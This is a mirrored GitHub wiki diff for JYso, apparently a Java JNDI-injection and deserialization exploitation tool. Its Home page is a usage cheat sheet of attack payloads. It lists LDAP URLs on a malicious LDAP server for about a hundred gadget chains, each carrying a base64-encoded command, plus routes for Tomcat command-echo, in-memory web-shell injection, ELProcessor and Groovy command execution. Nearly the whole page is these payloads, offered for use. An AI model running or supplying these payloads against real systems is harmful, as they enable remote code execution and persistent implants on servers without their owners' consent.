mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-21 22:40:43 +08:00
Updated Home (markdown)
炁
+102
-39
@@ -2,48 +2,111 @@
|
||||
|
||||
----------
|
||||
|
||||
+ Basic Queries
|
||||
```text
|
||||
[+] Basic Queries
|
||||
|
||||
+ [JAVA-RCE-Echo](https://github.com/qi4L/JYso/wiki/4%E3%80%81JAVA-RCE-Echo)，其他参数与可用选项，详细说明
|
||||
|
||||
ldap://127.0.0.1:1389/Basic/M-EX-TomcatEcho
|
||||
[+] ELProcessor Queries
|
||||
|
||||
+ [Java Mem Shell](https://github.com/qi4L/JYso/wiki/5%E3%80%81Java-Mem-Shell)，其他参数与可用选项，详细说明
|
||||
|
||||
ldap://127.0.0.1:1389/Basic/EX-MS-TFMSFromJMX/shell/[base64_encoded_Parameters]
|
||||
[+] Deserialize Queries
|
||||
ldap://127.0.0.1:1389/Deserialization/AspectJWeaver/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/AspectJWeaver2/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/BeanShell1/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/BeanShell2/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/BindingEnumeration/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/C3P0/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/C3P02/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/C3P03/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/C3P04/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/C3P092/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/C3P0JDBC/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/C3P0JNDI/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/C3P0JNDI2/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/C3P0RefDataSource/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/C3P0WrapperConnPool/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/Click1/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/Clojure/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/cb160/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/cb192/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/cb1183/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/cb2183/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/cb3183/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/CommonsBeanutilsAttrCompare183/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/CommonsBeanutilsAttrCompare192/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/CommonsBeanutilsJDBC/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/CommonsBeanutilsJNDI/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/CommonsBeanutilsObjectToStringComparator183/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/CommonsBeanutilsObjectToStringComparator192/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/CommonsBeanutilsPropertySource183/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/CommonsBeanutilsPropertySource192/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/cc1/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/cc2/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/cc3/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/cc4/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/cc5/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/cc6/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/cc7/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/cc8/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/cc9/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/cc10/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/cc11/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/cc12/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/cc13/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/ccK1/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/ccK2/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/ccK3/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/ccK4/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/Fastjson1/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/Fastjson2/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/FileUpload1/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/Groovy/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/Groovy1/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/Groovy2/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/Hibernate1/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/Hibernate2/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/Hibernate3JDBC/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/ImageIO/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/JBossInterceptors1/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/JRE8u20/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/JRE8u20_2/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/JRMPClient/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/JRMPClient_Activator/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/JRMPClient_Obj/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/JRMPListener/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/JSON1/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/Jackson1/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/Jackson2/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/JacksonLdapAttr/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/JavassistWeld1/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/JdbcRowSet/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/Jdk7u21/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/Jdk7u21variant/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/Jython1/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/LazySearchEnumeration/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/MozillaRhino1/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/MozillaRhino2/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/Myfaces1/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/Myfaces2/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/ROME/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/ROME2/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/ROME3/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/ROMEJDBC/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/RenderedImage/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/Resin/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/ServiceLoader/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/SignedObject/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/Spring1/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/Spring2/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/Spring3/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/SpringAbstractBeanFactoryPointcutAdvisor/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/SpringPartiallyComparableAdvisorHolder/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/SpringPropertyPathFactory/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/URLDNS/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/Vaadin1/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/Wicket1/command/Base64/[base64_encoded_cmd]
|
||||
ldap://127.0.0.1:1389/Deserialization/Xbean/command/Base64/[base64_encoded_cmd]
|
||||
|
||||
参数同Gadget中一样，例如
|
||||
[+] Groovy Queries
|
||||
|
||||
ldap://127.0.0.1:1389/Basic/EX-MS-TFMSFromJMX/shell/LWhrICJVc2VyLUFnZW50IiAtaHYgImFhYWF3d3ci
|
||||
|
||||
+ ELProcessor Queries
|
||||
|
||||
+ [JAVA-RCE-Echo](https://github.com/qi4L/JYso/wiki/4%E3%80%81JAVA-RCE-Echo)，其他参数与可用选项，详细说明
|
||||
|
||||
ldap://127.0.0.1:1389/ELProcessor/M-EX-TomcatEcho
|
||||
|
||||
+ [Java Mem Shell](https://github.com/qi4L/JYso/wiki/5%E3%80%81Java-Mem-Shell)，其他参数与可用选项，详细说明
|
||||
|
||||
ldap://127.0.0.1:1389/Basic/EX-MS-TFMSFromJMX/shell/[base64_encoded_Parameters]
|
||||
|
||||
参数同Gadget中一样，例如
|
||||
|
||||
ldap://127.0.0.1:1389/Basic/EX-MS-TFMSFromJMX/shell/LWhrICJVc2VyLUFnZW50IiAtaHYgImFhYWF3d3ci
|
||||
|
||||
+ Deserialize Queries
|
||||
|
||||
+ [Gadget](https://github.com/qi4L/JYso/wiki/6%E3%80%81Gadget)，其他参数与可用选项，详细说明
|
||||
|
||||
ldap://127.0.0.1:1389/Deserialization/链子名/command/Base64/[base64_encoded_cmd]
|
||||
|
||||
+ 此处也可以直接打内存马，例如
|
||||
|
||||
ldap://127.0.0.1:1389/Deserialization/cc9/command/Base64/RVgtTVMtVEZNU0Zyb21SZXF1ZXN0
|
||||
|
||||
+ 也可以直接打回显类，例如
|
||||
|
||||
ldap://127.0.0.1:1389/Deserialization/cc9/command/Base64/RVgtVG9tY2F0RWNobw==
|
||||
|
||||
+ Groovy Queries
|
||||
|
||||
ldap://127.0.0.1:1389/groovy/command/calc
|
||||
```
|
||||
|
||||
Reference in New Issue
Block a user